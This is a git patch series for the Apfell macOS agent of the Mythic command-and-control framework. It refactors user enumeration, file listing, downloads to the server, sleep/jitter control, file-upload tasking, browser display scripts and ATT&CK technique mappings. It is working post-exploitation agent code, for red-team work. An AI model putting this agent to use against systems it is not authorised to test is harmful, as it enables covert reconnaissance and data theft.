registerFile["file_id"], + "total_chunks": numOfChunks + })}); handle.seekToFileOffset(0); let currentChunk = 1; let data = handle.readDataOfLength(chunkSize); diff --git a/Payload_Type/apfell/agent_code/download.js b/Payload_Type/apfell/agent_code/download.js index 8f68c45..a5c7952 100755 --- a/Payload_Type/apfell/agent_code/download.js +++ b/Payload_Type/apfell/agent_code/download.js @@ -1,11 +1,7 @@ exports.download = function(task, command, params){ try{ if(params === "" || params === undefined){return {'user_output': "Must supply a path to a file to download", "completed": true, "status": "error"}; } - let status = C2.download(task, params); - if(status.hasOwnProperty("file_id")){ - status['user_output'] = JSON.stringify({"agent_file_id": status["file_id"]}) + "\nFinished Downloading"; - } - return status; + return C2.download(task, params); }catch(error){ return {'user_output': error.toString(), "completed": true, "status": "error"}; } diff --git a/Payload_Type/apfell/agent_code/list_users.js b/Payload_Type/apfell/agent_code/list_users.js index 7ed6119..480144e 100755 --- a/Payload_Type/apfell/agent_code/list_users.js +++ b/Payload_Type/apfell/agent_code/list_users.js @@ -1,99 +1,71 @@ exports.list_users = function(task, command, params){ - let all_users = []; - let gid = -1; - let groups = false; - if(params.length > 0){ - let data = JSON.parse(params); - if(data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0){ + let all_users = []; + let gid = -1; + if (params.length > 0) { + var data = JSON.parse(params); + if (data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0) { gid = data['gid']; } - if(data.hasOwnProperty("groups") && data['groups'] !== ""){ - groups = data['groups']; - } - } + } ObjC.import('Collaboration'); ObjC.import('CoreServices'); - if(gid < 0){ - let defaultAuthority = $.CSGetLocalIdentityAuthority(); - let identityClass = 2; - if(groups){ - all_users = []; // we will want to do a dictionary so we can group the members by their GID - } - else{ - identityClass = 1; //enumerate users - } - let query = $.CSIdentityQueryCreate($(), identityClass, defaultAuthority); - let error = Ref(); - $.CSIdentityQueryExecute(query, 0, error); - let results = $.CSIdentityQueryCopyResults(query); - let numResults = parseInt($.CFArrayGetCount(results)); - if(results.js === undefined){ - results = $.CFMakeCollectable(results); - } - for(let i = 0; i < numResults; i++){ - let identity = results.objectAtIndex(i);//results[i]; - let idObj = $.CBIdentity.identityWithCSIdentity(identity); - if(groups){ - //if we're looking at groups, then we have a different info to print out - all_users[i] = {}; - all_users[i]["POSIXID"] = idObj.posixGID; - all_users[i]['aliases'] = ObjC.deepUnwrap(idObj.aliases); - all_users[i]['fullName'] = ObjC.deepUnwrap(idObj.fullName); - all_users[i]['POSIXName'] = ObjC.deepUnwrap(idObj.posixName); - all_users[i]['members'] = []; - let members = idObj.memberIdentities.js; - for(let j = 0; j < members.length; j++){ + if (gid < 0) { + let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority; + let grouptolook = 1000 //Most systems don't have groups past 700s + for (let x = 0; x < grouptolook; x++) { + let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(x, defaultAuthority); + let validGroupcheck = group.toString() + if (validGroupcheck === "[id CBGroupIdentity]") { + let results = group.memberIdentities.js; + + let numResults = results.length; + for (let i = 0; i < numResults; i++) { + let idObj = results[i]; let info = { - "POSIXName": members[j].posixName.js, - "POSIXID": members[j].posixUID, - "LocalAuthority": members[j].authority.localizedName.js, - "FullName": members[j].fullName.js, - "Emails": members[j].emailAddress.js, - "isHiddenAccount": members[j].isHidden, - "Enabled": members[j].isEnabled, - "Aliases": ObjC.deepUnwrap(members[j].aliases), - "UUID": members[j].UUIDString.js - }; - all_users[i]['members'].push(info); - } - } - else{ - let info = { "POSIXName": idObj.posixName.js, - "POSIXID": idObj.posixUID, + "POSIXID": idObj.posixUID, + "POSIXGID": group.posixGID, "LocalAuthority": idObj.authority.localizedName.js, "FullName": idObj.fullName.js, - "Emails": idObj.emailAddress.js, + "Emails": idObj.emailAddress.js, "isHiddenAccount": idObj.isHidden, "Enabled": idObj.isEnabled, "Aliases": ObjC.deepUnwrap(idObj.aliases), "UUID": idObj.UUIDString.js }; - all_users.push(info); + all_users.push(info); + } + } } - } - else{ + return { + "user_output": JSON.stringify(all_users, null, 2), + "completed": true + } + } else { let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority; let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority); let results = group.memberIdentities.js; let numResults = results.length; - for(let i = 0; i < numResults; i++){ + for (let i = 0; i < numResults; i++) { let idObj = results[i]; let info = { - "POSIXName": idObj.posixName.js, - "POSIXID": idObj.posixUID, - "LocalAuthority": idObj.authority.localizedName.js, - "FullName": idObj.fullName.js, - "Emails": idObj.emailAddress.js, - "isHiddenAccount": idObj.isHidden, - "Enabled": idObj.isEnabled, - "Aliases": ObjC.deepUnwrap(idObj.aliases), - "UUID": idObj.UUIDString.js - }; + "POSIXName": idObj.posixName.js, + "POSIXID": idObj.posixUID, + "POSIXGID": group.posixGID, + "LocalAuthority": idObj.authority.localizedName.js, + "FullName": idObj.fullName.js, + "Emails": idObj.emailAddress.js, + "isHiddenAccount": idObj.isHidden, + "Enabled": idObj.isEnabled, + "Aliases": ObjC.deepUnwrap(idObj.aliases), + "UUID": idObj.UUIDString.js + }; all_users.push(info); } } - return {"user_output":JSON.stringify(all_users, null, 2), "completed": true}; -}; - + return { + "user_output": JSON.stringify(all_users, null, 2), + "completed": true + }; +}; \ No newline at end of file diff --git a/Payload_Type/apfell/agent_code/load.js b/Payload_Type/apfell/agent_code/load.js index c5a8310..4935498 100755 --- a/Payload_Type/apfell/agent_code/load.js +++ b/Payload_Type/apfell/agent_code/load.js @@ -16,7 +16,7 @@ exports.load = function(task, command, params){ for(let i = 0; i < parsed_params['commands'].length; i++){ cmd_list.push({"action": "add", "cmd": parsed_params['commands'][i]}) } - return {"user_output": "Loaded " +parsed_params['commands'], "commands": cmd_list, "completed": true}; + return {"user_output": "Loaded " + parsed_params['commands'], "commands": cmd_list, "completed": true}; } catch(error){ return {"user_output":error.toString(), "completed": true, "status": "error"}; diff --git a/Payload_Type/apfell/agent_code/ls.js b/Payload_Type/apfell/agent_code/ls.js index 646a1d7..3a7b384 100755 --- a/Payload_Type/apfell/agent_code/ls.js +++ b/Payload_Type/apfell/agent_code/ls.js @@ -25,6 +25,7 @@ exports.ls = function(task, command, params){ output['host'] = ObjC.unwrap(apfell.procInfo.hostName); output['update_deleted'] = true; let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error)); + let time_attributes = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path), error)); if (attributes !== undefined) { output['is_file'] = true; output['files'] = []; @@ -41,6 +42,7 @@ exports.ls = function(task, command, params){ } for (let i = 0; i < sub_files.length; i++) { let attr = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error)); + let time_attr = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error)); let file_add = {}; file_add['name'] = sub_files[i]; file_add['is_file'] = attr['NSFileType'] !== "NSFileTypeDirectory"; @@ -61,9 +63,9 @@ exports.ls = function(task, command, params){ file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString(); file_add['permissions']['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")"; file_add['permissions']['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")"; - file_add['permissions']['hidden'] = attr['NSFileExtenionAttribute'] === true; - file_add['permissions']['create_time'] = attributes['NSFileCreationDate']; - file_add['modify_time'] = attributes['NSFileModificationDate']; + file_add['permissions']['hidden'] = attr['NSFileExtensionAttribute'] === true; + file_add['permissions']['create_time'] = Math.trunc(time_attr['NSFileCreationDate'].timeIntervalSince1970 * 1000); + file_add['modify_time'] = Math.trunc(time_attr['NSFileModificationDate'].timeIntervalSince1970 * 1000); file_add['access_time'] = ""; files_data.push(file_add); } @@ -84,7 +86,7 @@ exports.ls = function(task, command, params){ if(output['name'] === output['parent_path']){output['parent_path'] = "";} output['size'] = attributes['NSFileSize']; output['access_time'] = ""; - output['modify_time'] = attributes['NSFileModificationDate']; + output['modify_time'] = Math.trunc(time_attributes['NSFileModificationDate'].timeIntervalSince1970 * 1000); if(attributes['NSFileExtendedAttributes'] !== undefined){ let extended = {}; let perms = attributes['NSFileExtendedAttributes'].js; @@ -95,7 +97,7 @@ exports.ls = function(task, command, params){ }else{ output['permissions'] = {}; } - output['permissions']['create_time'] = attributes['NSFileCreationDate']; + output['permissions']['create_time'] = Math.trunc(time_attributes['NSFileCreationDate'].timeIntervalSince1970 * 1000); output['permissions']['posix'] =((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString(); output['permissions']['owner'] = attributes['NSFileOwnerAccountName'] + "(" + attributes['NSFileOwnerAccountID'] + ")"; output['permissions']['group'] = attributes['NSFileGroupOwnerAccountName'] + "(" + attributes['NSFileGroupOwnerAccountID'] + ")"; diff --git a/Payload_Type/apfell/agent_code/sleep.js b/Payload_Type/apfell/agent_code/sleep.js index e248677..25b47fc 100755 --- a/Payload_Type/apfell/agent_code/sleep.js +++ b/Payload_Type/apfell/agent_code/sleep.js @@ -1,10 +1,10 @@ exports.sleep = function(task, command, params){ try{ let command_params = JSON.parse(params); - if(command_params.hasOwnProperty('interval') && command_params['interval'] >= 0){ + if(command_params.hasOwnProperty('interval') && command_params["interval"] && command_params['interval'] >= 0){ C2.interval = command_params['interval']; } - if(command_params.hasOwnProperty('jitter') && command_params['jitter'] >= 0 && command_params['jitter'] <= 100){ + if(command_params.hasOwnProperty('jitter') && command_params["jitter"] && command_params['jitter'] >= 0 && command_params['jitter'] <= 100){ C2.jitter = command_params['jitter']; } let sleep_response = "Sleep interval updated to " + C2.interval + " and sleep jitter updated to " + C2.jitter; diff --git a/Payload_Type/apfell/mythic/agent_functions/builder.py b/Payload_Type/apfell/mythic/agent_functions/builder.py index e323aa6..fdb96c0 100644 --- a/Payload_Type/apfell/mythic/agent_functions/builder.py +++ b/Payload_Type/apfell/mythic/agent_functions/builder.py @@ -19,7 +19,7 @@ class Apfell(PayloadType): support_browser_scripts = [ BrowserScript(script_name="create_table", author="@its_a_feature_") ] - translation_container = None # "translator" + translation_container = None #"translator" build_parameters = [] async def build(self) -> BuildResponse: diff --git a/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py b/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py index 9b6169e..3c0d974 100644 --- a/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py +++ b/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py @@ -26,8 +26,6 @@ async def parse_arguments(self): async def parse_dictionary(self, dictionary_arguments): if "pid" in dictionary_arguments: self.add_arg("pid", dictionary_arguments["pid"]) - else: - raise ValueError("Missing 'pid' argument") class ListEntitlementsCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/list_users.py b/Payload_Type/apfell/mythic/agent_functions/list_users.py index ec209c1..2564f2b 100644 --- a/Payload_Type/apfell/mythic/agent_functions/list_users.py +++ b/Payload_Type/apfell/mythic/agent_functions/list_users.py @@ -16,15 +16,6 @@ def __init__(self, command_line, **kwargs): required=False )] ), - CommandParameter( - name="groups", - type=ParameterType.Boolean, - default_value=False, - description="Enumerate groups and their members ", - parameter_group_info=[ParameterGroupInfo( - required=False - )] - ), ] async def parse_arguments(self): diff --git a/Payload_Type/apfell/mythic/agent_functions/sleep.py b/Payload_Type/apfell/mythic/agent_functions/sleep.py index e014fe5..42ade8a 100644 --- a/Payload_Type/apfell/mythic/agent_functions/sleep.py +++ b/Payload_Type/apfell/mythic/agent_functions/sleep.py @@ -1,6 +1,6 @@ from mythic_payloadtype_container.MythicCommandBase import * from mythic_payloadtype_container.MythicRPC import * -import json +import sys def positiveTime(val): diff --git a/Payload_Type/apfell/mythic/browser_scripts/clipboard_new.js b/Payload_Type/apfell/mythic/browser_scripts/clipboard_new.js index 9cf8945..c2cadd1 100644 --- a/Payload_Type/apfell/mythic/browser_scripts/clipboard_new.js +++ b/Payload_Type/apfell/mythic/browser_scripts/clipboard_new.js @@ -82,8 +82,8 @@ function(task, responses){ "headers": [ {"plaintext": "key", "type": "string"}, {"plaintext": "value", "type": "string"}, - {"plaintext": "fetch", "type": "button", "width": 10}, - {"plaintext": "view", "type": "button", "width": 5} + {"plaintext": "fetch", "type": "button", "width": 100, "disableSort": true}, + {"plaintext": "view", "type": "button", "width": 100, "disableSort": true} ], "rows": output_table, "title": "Clipboard Data" diff --git a/Payload_Type/apfell/mythic/browser_scripts/download_new.js b/Payload_Type/apfell/mythic/browser_scripts/download_new.js index a25b1a1..f1d973d 100644 --- a/Payload_Type/apfell/mythic/browser_scripts/download_new.js +++ b/Payload_Type/apfell/mythic/browser_scripts/download_new.js @@ -5,29 +5,24 @@ function(task, responses){ }, ""); return {'plaintext': combined}; }else if(task.completed){ - if(responses.length > 0){ - try{ - let data = JSON.parse(responses[0]); - return {"download":[{ - "agent_file_id": data["agent_file_id"], - "variant": "contained", - "name": "Download " + data["filename"] - }]}; - }catch(error){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - - }else{ - return {"plaintext": "No data to display..."} + try{ + let data = JSON.parse(responses[0]); + return {"download":[{ + "agent_file_id": data["agent_file_id"], + "variant": "contained", + "name": "Download file" + }]}; + }catch(error){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; } }else if(task.status === "processed"){ if(responses.length > 0){ const task_data = JSON.parse(responses[0]); - return {"plaintext": "Downloading a file with " + task_data["total_chunks"] + " total chunks..."}; + return {"plaintext": "Downloading file with " + task_data["total_chunks"] + " total chunks..."}; } return {"plaintext": "No data yet..."} }else{ diff --git a/Payload_Type/apfell/mythic/browser_scripts/list_apps_new.js b/Payload_Type/apfell/mythic/browser_scripts/list_apps_new.js index 6ad1ed3..3596366 100644 --- a/Payload_Type/apfell/mythic/browser_scripts/list_apps_new.js +++ b/Payload_Type/apfell/mythic/browser_scripts/list_apps_new.js @@ -13,7 +13,7 @@ function(task, responses){ output_table.push({ "name":{"plaintext": data[i]["name"]}, "pid": {"plaintext": data[i]["process_id"]}, - "bundle": {"plaintext": data[i]["bundle"]}, + "bundle": {"plaintext": data[i]["bundle"], "copyIcon": true}, "arch": {"plaintext": data[i]["architecture"]}, "rowStyle": {"backgroundColor": data[i]["frontmost"] ? "mediumpurple": ""}, "actions": {"button": { @@ -45,11 +45,11 @@ function(task, responses){ "table": [ { "headers": [ - {"plaintext": "pid", "type": "number", "width": 9}, - {"plaintext": "name", "type": "string"}, - {"plaintext": "bundle", "type": "string"}, - {"plaintext": "arch", "type": "string", "width": 7}, - {"plaintext": "actions", "type": "button", "width": 8}, + {"plaintext": "pid", "type": "number", "width": 100}, + {"plaintext": "name", "type": "string", "fillWidth": true}, + {"plaintext": "bundle", "type": "string", "fillWidth": true}, + {"plaintext": "arch", "type": "string", "width": 100}, + {"plaintext": "actions", "type": "button", "width": 100}, ], "rows": output_table, "title": "Process Data" diff --git a/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js b/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js index bd7e15f..1663813 100644 --- a/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js +++ b/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js @@ -8,10 +8,10 @@ function(task, responses){ if(responses.length > 0){ let headers = [ - {"plaintext": "pid", "type": "string", "width": 10}, - {"plaintext": "name", "type": "string"}, - {"plaintext": "bundle", "type": "string"}, - {"plaintext": "entitlements", "type": "button", "width": 14}]; + {"plaintext": "pid", "type": "string", "width": 100}, + {"plaintext": "name", "type": "string", "fillWidth": true}, + {"plaintext": "bundle", "type": "string", "fillWidth": true}, + {"plaintext": "entitlements", "type": "button", "width": 200}]; let data = ""; try{ data = JSON.parse(responses[0]); @@ -26,9 +26,10 @@ function(task, responses){ let row = { "name": {"plaintext": data[i]["name"]}, "pid": {"plaintext": data[i]["pid"]}, - "bundle": {"plaintext": data[i]["bundle"]}, + "bundle": {"plaintext": data[i]["bundle"], "copyIcon": true}, "entitlements": {"button": { - "name": "View Entitlements", + "name": "", + "startIcon": "list", "type": "dictionary", "value": data[i]["entitlements"], "disabled": Object.keys(data[i]["entitlements"]).length === 0, diff --git a/Payload_Type/apfell/mythic/browser_scripts/ls_new.js b/Payload_Type/apfell/mythic/browser_scripts/ls_new.js index db0dd00..3498ba7 100644 --- a/Payload_Type/apfell/mythic/browser_scripts/ls_new.js +++ b/Payload_Type/apfell/mythic/browser_scripts/ls_new.js @@ -5,11 +5,6 @@ function(task, responses){ }, ""); return {'plaintext': combined}; }else if(task.completed && responses.length > 0){ - let folder = { - backgroundColor: "mediumpurple", - color: "white" - }; - let file = {}; let data = ""; try{ data = JSON.parse(responses[0]); @@ -26,16 +21,17 @@ function(task, responses){ ls_path = data["parent_path"] + "/" + data["name"]; } let headers = [ - {"plaintext": "name", "type": "string"}, - {"plaintext": "size", "type": "size"}, - {"plaintext": "owner", "type": "string"}, - {"plaintext": "group", "type": "string"}, - {"plaintext": "posix", "type": "string", "width": 8}, - {"plaintext": "actions", "type": "button", "width": 10}, + {"plaintext": "actions", "type": "button", "width": 100, "disableSort": true}, + {"plaintext": "size", "type": "size", "width": 200}, + {"plaintext": "name", "type": "string", "fillWidth": true}, + {"plaintext": "owner", "type": "string", "width": 300}, + {"plaintext": "group", "type": "string", "width": 300}, + {"plaintext": "posix", "type": "string", "width": 100, "disableSort": true}, + ]; let rows = [{ - "rowStyle": data["is_file"] ? file : folder, - "name": {"plaintext": data["name"]}, + "rowStyle":{}, + "name": {"plaintext": data["name"], "startIcon": data["is_file"] ? "file": "folder"}, "size": {"plaintext": data["size"]}, "owner": {"plaintext": data["permissions"]["owner"]}, "group": {"plaintext": data["permissions"]["group"]}, @@ -65,11 +61,12 @@ function(task, responses){ "parameters": ls_path }, { - "name": "Download File", - "type": "task", - "disabled": !data["is_file"], - "ui_feature": "file_browser:download", - "parameters": ls_path + "name": "Download File", + "type": "task", + "disabled": !data["is_file"], + "ui_feature": "file_browser:download", + "parameters": ls_path, + "startIcon": "download" } ] }} @@ -82,8 +79,8 @@ function(task, responses){ ls_path = data["parent_path"] + "/" + data["name"] + "/" + data["files"][i]["name"]; } let row = { - "rowStyle": data["files"][i]["is_file"] ? file: folder, - "name": {"plaintext": data["files"][i]["name"]}, + "rowStyle": {}, + "name": {"plaintext": data["files"][i]["name"], "startIcon": data["files"][i]["is_file"] ? "file": "folder"}, "size": {"plaintext": data["files"][i]["size"]}, "owner": {"plaintext": data["files"][i]["permissions"]["owner"]}, "group": {"plaintext": data["files"][i]["permissions"]["group"]}, @@ -117,11 +114,14 @@ function(task, responses){ "parameters": ls_path }, { - "name": "Download File", - "type": "task", - "disabled": !data["files"][i]["is_file"], - "ui_feature": "file_browser:download", - "parameters": ls_path + "name": "Download File", + "type": "task", + "disabled": !data["files"][i]["is_file"], + "ui_feature": "file_browser:download", + "parameters": ls_path, + "startIcon": "download", + "startIconColor": "lightgreen", + "hoverText": "Task agent to download" } ] }} From 56b327e442c6ab55d5477dfca46c470269a6400d Mon Sep 17 00:00:00 2001 From: Cody Thomas Date: Fri, 14 Jan 2022 15:48:25 -0800 Subject: [PATCH 4/8] updated jsimport and upload for the new method of files with tasking --- .../apfell/mythic/agent_functions/jsimport.py | 22 +++++++++-------- .../apfell/mythic/agent_functions/upload.py | 24 ++++++++----------- 2 files changed, 22 insertions(+), 24 deletions(-) diff --git a/Payload_Type/apfell/mythic/agent_functions/jsimport.py b/Payload_Type/apfell/mythic/agent_functions/jsimport.py index 68ac2f2..54065da 100644 --- a/Payload_Type/apfell/mythic/agent_functions/jsimport.py +++ b/Payload_Type/apfell/mythic/agent_functions/jsimport.py @@ -1,7 +1,5 @@ from mythic_payloadtype_container.MythicCommandBase import * from mythic_payloadtype_container.MythicRPC import * -import json -import base64 class JsimportArguments(TaskArguments): @@ -44,16 +42,20 @@ class JsimportCommand(CommandBase): argument_class = JsimportArguments async def create_tasking(self, task: MythicTask) -> MythicTask: - original_file_name = json.loads(task.original_params)["file"] - file_resp = await MythicRPC().execute("create_file", task_id=task.id, - file=base64.b64encode(task.args.get_arg("file")).decode(), - saved_file_name=original_file_name - ) - if file_resp.status == MythicStatus.Success: - task.args.add_arg("file", file_resp.response["agent_file_id"]) - task.display_params = f"{original_file_name} into memory" + file_resp = await MythicRPC().execute("get_file", + file_id=task.args.get_arg("file"), + task_id=task.id, + get_contents=False) + if file_resp.status == MythicRPCStatus.Success: + original_file_name = file_resp.response[0]["filename"] else: raise Exception("Error from Mythic: " + str(file_resp.error)) + task.display_params = f"{original_file_name} into memory" + file_resp = await MythicRPC().execute("update_file", + file_id=task.args.get_arg("file"), + delete_after_fetch=True, + comment="Uploaded into memory for jsimport") + return task async def process_response(self, response: AgentResponse): diff --git a/Payload_Type/apfell/mythic/agent_functions/upload.py b/Payload_Type/apfell/mythic/agent_functions/upload.py index 0569ddd..c0a89a1 100644 --- a/Payload_Type/apfell/mythic/agent_functions/upload.py +++ b/Payload_Type/apfell/mythic/agent_functions/upload.py @@ -1,8 +1,6 @@ from mythic_payloadtype_container.MythicCommandBase import * from mythic_payloadtype_container.MythicRPC import * -import json import sys -import base64 class UploadArguments(TaskArguments): def __init__(self, command_line, **kwargs): @@ -93,21 +91,19 @@ async def create_tasking(self, task: MythicTask) -> MythicTask: try: groupName = task.args.get_parameter_group_name() if groupName == "Default": - original_file_name = json.loads(task.original_params)["file"] - if len(task.args.get_arg("remote_path")) == 0: - task.args.add_arg("remote_path", original_file_name) - elif task.args.get_arg("remote_path")[-1] == "/": - task.args.add_arg("remote_path", task.args.get_arg("remote_path") + original_file_name) - file_resp = await MythicRPC().execute("create_file", task_id=task.id, - file=base64.b64encode(task.args.get_arg("file")).decode(), - saved_file_name=original_file_name, - delete_after_fetch=False, - ) + file_resp = await MythicRPC().execute("get_file", + file_id=task.args.get_arg("file"), + task_id=task.id, + get_contents=False) if file_resp.status == MythicRPCStatus.Success: - task.args.add_arg("file", file_resp.response["agent_file_id"]) + original_file_name = file_resp.response[0]["filename"] + if len(task.args.get_arg("remote_path")) == 0: + task.args.add_arg("remote_path", original_file_name) + elif task.args.get_arg("remote_path")[-1] == "/": + task.args.add_arg("remote_path", task.args.get_arg("remote_path") + original_file_name) task.display_params = f"{original_file_name} to {task.args.get_arg('remote_path')}" else: - raise Exception("Error from Mythic trying to register file: " + str(file_resp.error)) + raise Exception("Error from Mythic trying to get file: " + str(file_resp.error)) elif groupName == "specify already uploaded file by name": # we're trying to find an already existing file and use that file_resp = await MythicRPC().execute("get_file", task_id=task.id, From 0a50992e90ff2e7dd479ae2cc50e4f5fd64795e8 Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Thu, 20 Jan 2022 11:54:41 -0800 Subject: [PATCH 5/8] updating apfell with the new MITRE ATT&CK technique mappings --- Payload_Type/apfell/mythic/agent_functions/add_user.py | 2 +- Payload_Type/apfell/mythic/agent_functions/cat.py | 2 +- Payload_Type/apfell/mythic/agent_functions/chrome_bookmarks.py | 2 +- Payload_Type/apfell/mythic/agent_functions/chrome_js.py | 2 +- Payload_Type/apfell/mythic/agent_functions/chrome_tabs.py | 2 +- Payload_Type/apfell/mythic/agent_functions/code_signatures.py | 2 +- Payload_Type/apfell/mythic/agent_functions/hostname.py | 2 +- Payload_Type/apfell/mythic/agent_functions/ifconfig.py | 2 +- Payload_Type/apfell/mythic/agent_functions/iterm.py | 2 +- Payload_Type/apfell/mythic/agent_functions/jscript.py | 2 +- Payload_Type/apfell/mythic/agent_functions/jsimport.py | 2 +- Payload_Type/apfell/mythic/agent_functions/jsimport_call.py | 2 +- Payload_Type/apfell/mythic/agent_functions/launchapp.py | 2 +- Payload_Type/apfell/mythic/agent_functions/list_entitlements.py | 2 +- Payload_Type/apfell/mythic/agent_functions/list_users.py | 2 +- Payload_Type/apfell/mythic/agent_functions/load.py | 2 +- Payload_Type/apfell/mythic/agent_functions/persist_emond.py | 2 +- .../apfell/mythic/agent_functions/persist_folderaction.py | 2 +- Payload_Type/apfell/mythic/agent_functions/persist_launch.py | 2 +- .../apfell/mythic/agent_functions/persist_loginitem_allusers.py | 2 +- Payload_Type/apfell/mythic/agent_functions/prompt.py | 2 +- Payload_Type/apfell/mythic/agent_functions/rm.py | 2 +- Payload_Type/apfell/mythic/agent_functions/security_info.py | 2 +- Payload_Type/apfell/mythic/agent_functions/shell.py | 2 +- Payload_Type/apfell/mythic/agent_functions/shell_elevated.py | 2 +- .../apfell/mythic/agent_functions/spawn_download_cradle.py | 2 +- .../apfell/mythic/agent_functions/spawn_drop_and_execute.py | 2 +- Payload_Type/apfell/mythic/agent_functions/terminals_read.py | 2 +- Payload_Type/apfell/mythic/agent_functions/terminals_send.py | 2 +- Payload_Type/apfell/mythic/agent_functions/test_password.py | 2 +- Payload_Type/apfell/mythic/agent_functions/upload.py | 2 +- 31 files changed, 31 insertions(+), 31 deletions(-) diff --git a/Payload_Type/apfell/mythic/agent_functions/add_user.py b/Payload_Type/apfell/mythic/agent_functions/add_user.py index b7f6af1..48c6d10 100644 --- a/Payload_Type/apfell/mythic/agent_functions/add_user.py +++ b/Payload_Type/apfell/mythic/agent_functions/add_user.py @@ -129,7 +129,7 @@ class AddUserCommand(CommandBase): version = 2 author = "@its_a_feature_" argument_class = AddUserArguments - attackmapping = ["T1136", "T1169"] + attackmapping = ["T1136", "T1136.001", "T1548.004", "T1564.002"] async def create_tasking(self, task: MythicTask) -> MythicTask: if task.args.get_arg("hidden"): diff --git a/Payload_Type/apfell/mythic/agent_functions/cat.py b/Payload_Type/apfell/mythic/agent_functions/cat.py index b58e38d..ce93daa 100644 --- a/Payload_Type/apfell/mythic/agent_functions/cat.py +++ b/Payload_Type/apfell/mythic/agent_functions/cat.py @@ -35,7 +35,7 @@ class CatCommand(CommandBase): version = 1 author = "@its_a_feature_" argument_class = CatArguments - attackmapping = ["T1081", "T1106"] + attackmapping = ["T1005", "T1552.001"] async def create_tasking(self, task: MythicTask) -> MythicTask: resp = await MythicRPC().execute("create_artifact", task_id=task.id, diff --git a/Payload_Type/apfell/mythic/agent_functions/chrome_bookmarks.py b/Payload_Type/apfell/mythic/agent_functions/chrome_bookmarks.py index 1affb3a..3e6a398 100644 --- a/Payload_Type/apfell/mythic/agent_functions/chrome_bookmarks.py +++ b/Payload_Type/apfell/mythic/agent_functions/chrome_bookmarks.py @@ -19,7 +19,7 @@ class ChromeBookmarksCommand(CommandBase): description = "This uses AppleEvents to list information about all of the bookmarks in Chrome. If Chrome is not currently running, this will launch Chrome (potential OPSEC issue) and might have a conflict with trying to access Chrome's bookmarks as Chrome is starting. It's recommended to not use this unless Chrome is already running. Use the list_apps function to check if Chrome is running. In Mojave this will cause a popup the first time asking for permission for your process to access Chrome" version = 1 author = "@its_a_feature_" - attackmapping = ["T1217"] + attackmapping = ["T1217", "T1059.002", "T1559"] argument_class = ChromeBookmarksArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/chrome_js.py b/Payload_Type/apfell/mythic/agent_functions/chrome_js.py index 33e23ad..5cef225 100644 --- a/Payload_Type/apfell/mythic/agent_functions/chrome_js.py +++ b/Payload_Type/apfell/mythic/agent_functions/chrome_js.py @@ -60,7 +60,7 @@ class ChromeJsCommand(CommandBase): description = "This uses AppleEvents to execute the specified JavaScript code into a specific browser tab. The chrome_tabs function will specify for each tab the window/tab numbers that you can use for this function. Note: by default this ability is disabled in Chrome now, you will need to go to view->Developer->Allow JavaScript from Apple Events." version = 1 author = "@its_a_feature_" - attackmapping = ["T1106", "T1064"] + attackmapping = ["T1059.002", "T1559"] argument_class = ChromeJsArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/chrome_tabs.py b/Payload_Type/apfell/mythic/agent_functions/chrome_tabs.py index 8942790..2e66f5c 100644 --- a/Payload_Type/apfell/mythic/agent_functions/chrome_tabs.py +++ b/Payload_Type/apfell/mythic/agent_functions/chrome_tabs.py @@ -19,7 +19,7 @@ class ChromeTabsCommand(CommandBase): description = "This uses AppleEvents to list information about all of the open tabs in all of the open Chrome instances. If Chrome is not currently running, this will launch Chrome (potential OPSEC issue) and might have a conflict with trying to access Chrome tabs as Chrome is starting. It's recommended to not use this unless Chrome is already running. Use the list_apps function to check if Chrome is running. In Mojave this will cause a popup the first time asking for permission for your process to access Chrome." version = 1 author = "@its_a_feature_" - attackmapping = ["T1010"] + attackmapping = ["T1010", "T1059.002", "T1559"] argument_class = ChromeTabsArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/code_signatures.py b/Payload_Type/apfell/mythic/agent_functions/code_signatures.py index b8dba18..07fc338 100644 --- a/Payload_Type/apfell/mythic/agent_functions/code_signatures.py +++ b/Payload_Type/apfell/mythic/agent_functions/code_signatures.py @@ -34,7 +34,7 @@ class CodeSignaturesCommand(CommandBase): description = "This uses JXA to list the code signature information for a binary or bundle" version = 1 author = "@its_a_feature_" - attackmapping = [] + attackmapping = ["T1518"] argument_class = CodeSignaturesArguments supported_ui_features = ["code_signatures:list"] diff --git a/Payload_Type/apfell/mythic/agent_functions/hostname.py b/Payload_Type/apfell/mythic/agent_functions/hostname.py index 5cae789..3f558e4 100644 --- a/Payload_Type/apfell/mythic/agent_functions/hostname.py +++ b/Payload_Type/apfell/mythic/agent_functions/hostname.py @@ -19,7 +19,7 @@ class HostnameCommand(CommandBase): description = "Get the various hostnames associated 